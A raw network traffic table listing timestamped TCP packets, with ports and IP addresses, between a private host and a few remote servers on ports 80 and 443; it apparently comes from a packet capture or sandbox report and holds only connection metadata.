Aug 5, 2024 12:00:46.032507896 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.076334000 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.082138062 CEST	443	49814	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:46.082220078 CEST	49814	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:46.082287073 CEST	443	49814	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:46.082348108 CEST	49814	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:46.082703114 CEST	443	49814	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:46.082750082 CEST	443	49814	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:46.082787037 CEST	49814	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:46.082787037 CEST	49814	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:46.096579075 CEST	49814	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:46.096618891 CEST	443	49814	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:46.097131014 CEST	49817	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:46.097174883 CEST	443	49817	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:46.097245932 CEST	49817	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:46.098117113 CEST	49817	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:46.098146915 CEST	443	49817	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:46.102288008 CEST	443	49813	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:46.102351904 CEST	49813	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:46.102369070 CEST	443	49813	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:46.102402925 CEST	443	49813	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:46.102420092 CEST	49813	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:46.102449894 CEST	49813	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:46.102500916 CEST	49813	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:46.102514029 CEST	443	49813	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:46.105709076 CEST	49818	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:46.105731010 CEST	443	49818	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:46.105803967 CEST	49818	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:46.117082119 CEST	49818	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:46.117108107 CEST	443	49818	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:46.126274109 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.131212950 CEST	443	49815	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.131285906 CEST	49815	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.131294012 CEST	443	49815	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.131309032 CEST	443	49815	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.131354094 CEST	49815	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.131366968 CEST	443	49815	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.131408930 CEST	49815	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.132870913 CEST	443	49815	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.132908106 CEST	443	49815	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.132919073 CEST	49815	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.132952929 CEST	49815	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.167619944 CEST	49815	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.167649984 CEST	443	49815	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.168081045 CEST	49819	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.168103933 CEST	443	49819	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.168168068 CEST	49819	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.168757915 CEST	49819	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.168770075 CEST	443	49819	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.241125107 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.241152048 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.241163015 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.241223097 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.241249084 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.241290092 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.241297007 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.241308928 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.241317987 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.241339922 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.241425037 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.241435051 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.241457939 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.242201090 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.242257118 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.242356062 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.242367029 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.242377043 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.242441893 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.242446899 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.242453098 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.242464066 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.242480993 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.242511988 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.243350029 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.243366957 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.243377924 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.243390083 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.243429899 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.311649084 CEST	443	49816	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.311723948 CEST	49816	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.311736107 CEST	443	49816	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.311777115 CEST	49816	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.311789036 CEST	443	49816	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.311851025 CEST	49816	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.311929941 CEST	443	49816	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.311985970 CEST	49816	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.312002897 CEST	443	49816	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.312048912 CEST	49816	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.312143087 CEST	443	49816	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.312194109 CEST	49816	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.312366009 CEST	49816	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.312377930 CEST	443	49816	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.312870026 CEST	49821	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.312886000 CEST	443	49821	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.312973022 CEST	49821	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.313157082 CEST	49821	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.313174009 CEST	443	49821	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.486677885 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.486773968 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.486784935 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.486815929 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.486824036 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.486856937 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.486908913 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.487035990 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.487046957 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.487061977 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.487077951 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.487085104 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.487096071 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.487111092 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.487131119 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.487140894 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.487150908 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.487178087 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.487999916 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.488017082 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.488032103 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.488043070 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.488054037 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.488084078 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.488349915 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.488399029 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.488409042 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.488430023 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.488502026 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.488513947 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.488523006 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.488533020 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.488549948 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.488584042 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.742921114 CEST	443	49817	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:46.743011951 CEST	49817	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:46.743426085 CEST	49817	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:46.743454933 CEST	443	49817	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:46.743633986 CEST	49817	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:46.743647099 CEST	443	49817	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:46.750464916 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.750513077 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.750524998 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.750560045 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.750613928 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.750627995 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.750641108 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.750650883 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.750652075 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.750685930 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.750938892 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.750948906 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.750960112 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.750979900 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.751020908 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.751102924 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.751113892 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.751125097 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.751151085 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.751169920 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.751182079 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.751214027 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.751558065 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.751596928 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.751600981 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.751611948 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.751643896 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.751677990 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.751689911 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.751699924 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.751710892 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.751722097 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.751727104 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.751745939 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.752401114 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.752419949 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.752437115 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.752446890 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.752451897 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.752459049 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:46.752470970 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.752516031 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:46.769572973 CEST	443	49818	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:46.769638062 CEST	49818	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:46.770136118 CEST	49818	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:46.770147085 CEST	443	49818	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:46.770344973 CEST	49818	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:46.770350933 CEST	443	49818	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:46.837177038 CEST	443	49819	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.837241888 CEST	49819	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.837666035 CEST	49819	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.837677956 CEST	443	49819	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.837863922 CEST	49819	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.837872028 CEST	443	49819	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.944405079 CEST	443	49821	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.944468021 CEST	49821	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.945020914 CEST	49821	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.945031881 CEST	443	49821	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:46.945293903 CEST	49821	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:46.945300102 CEST	443	49821	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:47.056421995 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.056458950 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.056469917 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.056488037 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.056535006 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.056538105 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.056549072 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.056572914 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.056583881 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.056593895 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.056596994 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.056603909 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.056622028 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.056653976 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.056664944 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.056677103 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.056716919 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.056859970 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.056871891 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.056888103 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.056899071 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.056909084 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.056910038 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.056937933 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.057238102 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.057249069 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.057260990 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.057281971 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.057290077 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.057293892 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.057303905 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.057317972 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.057326078 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.057415009 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.057426929 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.057436943 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.057447910 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.057476997 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.058120966 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.058131933 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.058141947 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.058171988 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.058197021 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.058197021 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.058213949 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.058226109 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.058269024 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.124685049 CEST	443	49817	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:47.124768972 CEST	49817	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.124783993 CEST	443	49817	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:47.124982119 CEST	49817	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.125061035 CEST	49817	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.125082016 CEST	443	49817	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:47.125145912 CEST	49817	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.125509024 CEST	49823	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.125525951 CEST	443	49823	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:47.125598907 CEST	49823	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.125816107 CEST	49823	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.125828028 CEST	443	49823	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:47.177550077 CEST	443	49818	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:47.177630901 CEST	49818	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.177658081 CEST	443	49818	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:47.177807093 CEST	49818	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.177846909 CEST	49818	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.177896023 CEST	443	49818	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:47.177988052 CEST	49818	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.178658962 CEST	49824	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.178685904 CEST	443	49824	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:47.178818941 CEST	49824	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.178985119 CEST	49824	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:47.178997993 CEST	443	49824	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:47.278110027 CEST	443	49819	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:47.278146029 CEST	443	49819	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:47.278177977 CEST	49819	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:47.278197050 CEST	443	49819	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:47.278208017 CEST	49819	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:47.278259039 CEST	49819	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:47.278263092 CEST	443	49819	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:47.278337955 CEST	49819	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:47.279117107 CEST	49819	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:47.279133081 CEST	443	49819	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:47.280000925 CEST	49825	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:47.280045986 CEST	443	49825	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:47.280205011 CEST	49825	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:47.280500889 CEST	49825	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:47.280517101 CEST	443	49825	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:47.388464928 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.388495922 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.388525963 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.388539076 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.388547897 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.388552904 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.388560057 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.388578892 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.388618946 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.388653994 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.388695002 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.388705969 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.388756037 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.388758898 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.388767958 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.388777971 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.388788939 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.388811111 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.388829947 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.388874054 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.388891935 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.388902903 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.388911963 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.388915062 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.388922930 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.388935089 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.388951063 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.388981104 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.389571905 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.389615059 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.389621973 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.389694929 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.389719963 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.389730930 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.389745951 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.389769077 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.389790058 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.389803886 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.389815092 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.389861107 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.390125036 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.390151978 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.390162945 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.390178919 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.390206099 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.390242100 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.390254021 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.390264988 CEST	80	49796	27.221.16.149	192.168.2.7
Aug 5, 2024 12:00:47.390311003 CEST	49796	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:00:47.390321016 CEST	80	49796	27.221.16.149	192.168.2.7
